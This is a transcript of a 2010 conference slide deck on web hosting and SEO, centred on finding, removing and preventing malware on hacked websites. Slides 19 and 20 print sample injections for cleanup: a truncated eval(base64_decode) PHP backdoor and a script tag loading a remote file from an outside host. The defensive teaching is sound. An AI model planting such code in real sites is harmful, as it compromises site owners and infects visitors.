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2010 11 pubcon_hendison-hosting

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Scott Hendisons Pubcon 2010 presentation on web hosting and SEO

Scott Hendisons Pubcon 2010 presentation on web hosting and SEO

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  • 1. Hosting & SEO Scott Hendison Search Commander, Inc. SEO Automatic
  • 2. About Scott Hendison
    • Began “hosting“ websites in 1997 with one server in our retail computer store, with standard DSL
    • Grew to 11 servers then switched to a sort of “datacenter co-op“ a few years ago, all in the same local facility in Gresham Oregon.
    • Not our primary business, but we still host over 1000 domains today, as well as maintain end-user hosting accounts on several major hosts.
  • 3. Web Hosting and SEO
    • I've been on this panel three times and discussed –
      • shared vs. dedicated servers
      • Static vs. shared IP addresses
      • Apache 1 vs Apache 2
      • Apache vs. Windows
      • .htaccess
      • mod_rewrite
      • Windows IIS rewriting options
      • Server speed and performance
      • and other riveting subjects trying to better relate to SEO
  • 4. Web Hosting and SEO
    • Speed and Performance
    • I “predicted” at Pubcon 2009 that speed will soon matter for organic, then Matt Cutts announced next day
    • Not a risky prediction, considering Adwords Quality Scores
    • Speed as ranking factor began “counting” April 9, 2010
    • Google has two great tools
      • Page Speed for Firefox – (download inside Webmaster Tools)
      • Google Chrome (right click in Chrome and “inspect element”)
  • 5. But I‘m Not Talking About Speed
    • Far more important
    • The #1 killer of websites
    • The thing that drives visitors away in droves
    • Drains PPC money as fast as possible
    • Google stops people from even arriving at your site!
    • I’m talking about…
  • 6. Malware
  • 7. Malware
    • Nothing can fully protect users from getting viruses
    • Viruses can steal the BEST passwords & logins
    • If you don’t get one, contractors, employees or family probably will, infecting your network.
    • People should use index cards and a fireproof safe
    • But that’s pretty unrealistic, so learn to deal with disasters
  • 8. Malware identification
    • Nearly 15% of “our” sites were hacked in 2010
    • Most were self inflicted through laziness and stupidity
    • The hacks really didn’t vary all that much
    • Getting rid of hacks can be a headache
    • Getting back into Google isn’t very difficult
    • Protecting yourself FROM hacks is getting easier, but…
    • Sadly, the hacking keeps getting easier…
  • 9. Malware
    • Identification
    • Removal
    • Prevention
  • 10. Identification
    • You can get notified by a client or customer
    • You discover it in a browser or AV warning
    • You can see your site flagged in the SERPS
    • You can get notified by Google WMT – (sometimes)
  • 11. Malware Warnings
  • 12. Warnings in the SERPS!
  • 13. Interstitial Page
  • 14. #1 Conversion Killer
    • Nothing hurts you more than if people wont come to your site in the first place.
    • Once you‘ve identified a problem, what can you do?
      • Clean up the offending code
      • Beg Google for a clean bill of health
    • Email with questions: [email_address]
  • 15. Removal
    • Most hacks we saw were pretty similar
    • Cross Site Scripting (XSS) and SQL Injection
    • Adding links and adding hosted scripts
    • Hackers want to add links to your site
    • Hackers want to add scripts to infect users with viruses which in turn, steal more passwords
    • Not too technical - Look for strange javascripts!
  • 16. Removal
  • 17. Removal
  • 18. Removal
    • If WMT is no help, then look at files manually
    • Use backups and file comparison tools
    • Check recent change dates
    • Look for things that don‘t belong, often in pages named index, home, and default - in .php and .html extensions
    • Look in headers and footers too
  • 19. Removal
    • <?php
    • eval(base64 _decode('aWYoIWlzc2V0KCRtNzc5djEpKXtmdW5jdGlvbiBtNzc5digkcyl7aWYocHJlZ19tY<snip> XRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjJ203Nzl2MicpPyRhOjA7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZSddKSk7')); ?>
    • (<snipped> goes on for dozens of lines )
  • 20. Removal
    • Usually index, home, header and footer –
    • <script src=http://domainX.ac.jp/course/VIVID.php ></script>
    • And in most or all javascript files -
    • document.write('<script src=http://domainX.ac.jp/course/VIVID.php ></script>');&quot;
  • 21. Removal
    • Not all that complicated, just tedious.
    • Search files for <script src=http:// and make sure you recognize them all, and search for eval(base64 too.
    • Overly simplistic to say “clean it up“ but others have likely had your same problem.
    • Google for it w/ quotes to find YOUR exact code.
    • Get a quick look at your site w/ free tool at http://UnmaskParasites.com
  • 22. Once You‘re Clean
  • 23. Once You‘re Clean
    • Write something like this –
    • Thank you for identifying our malware problem, and we believe all is now cleaned up. We have verified that we're clean using an online scanner - http://www.unmaskparasites.com - and would appreciate a speedy resolution.
    • Thank you,
    • Scott Hendison
  • 24. Once You‘re Clean
    • Document your process and improve it
    • Get ready to have it happen again
    • Begin to protect yourself – Get paranoid.
  • 25. Prevention
    • FTP Passwords
      • Don't share FTP access – make new users instead.
      • NEVER use a dictionary word in the password
      • Use at least 8 characters (some people will say 20+)
      • Mix Upper Case, Lower Case, numerals and symbols
      • CHANGE passwords without telling your dev people every few months.
    • Stop using plain old FTP - WinSCP is free SFTP
  • 26. Prevention
    • Using a CMS?
    • Find the documentation on locking it down
    • Do ALL system updates
    • Do ALL released security patches
    • Routine maintenance (just like WMT & Analytics)
    • More popular = more vulnerable, like WordPress
  • 27. Prevention
    • Nearly 8% of all sites are now WordPress*
    • We work in Wordpress 95% of the time
    • Same thing that makes it great makes it riskier
    • Amazing plugins have been developed for safety
    • Common threats have easy solutions
    • * Supposedly said my Matt Mullenweg at one of the 2010 WordCamp, but I can‘t prove it.
  • 28. Prevention
  • 29. Prevention
  • 30. Prevention
  • 31. Prevention
  • 32. Prevention
    • Total prevention may be impossible. Be prepared!
    • Backup restoration sometimes faster than repair
    • Hosts can may keep backups 7 days, or even less!
    • Get weekly (or daily) backups in place & off-host
    • Store a year of monthly backups at AWS
    • Document the entire restore process and TEST
    • Your site hack is generally not the webhosts fault!
  • 33. Take-aways
    • FAR more important than your SEO
    • Dig into Webmaster Tools malware area
    • Change all FTP Passwords asap, & consider SFTP
    • Check for updated versions on forms, and on your CMS
    • Get backup and restore processes in pl ace NOW
  • 34. Thank You
    • WordPress Lunch Table Thursday 1:30
    • Scott Hendison
    • Search Commander, Inc.
    • [email_address]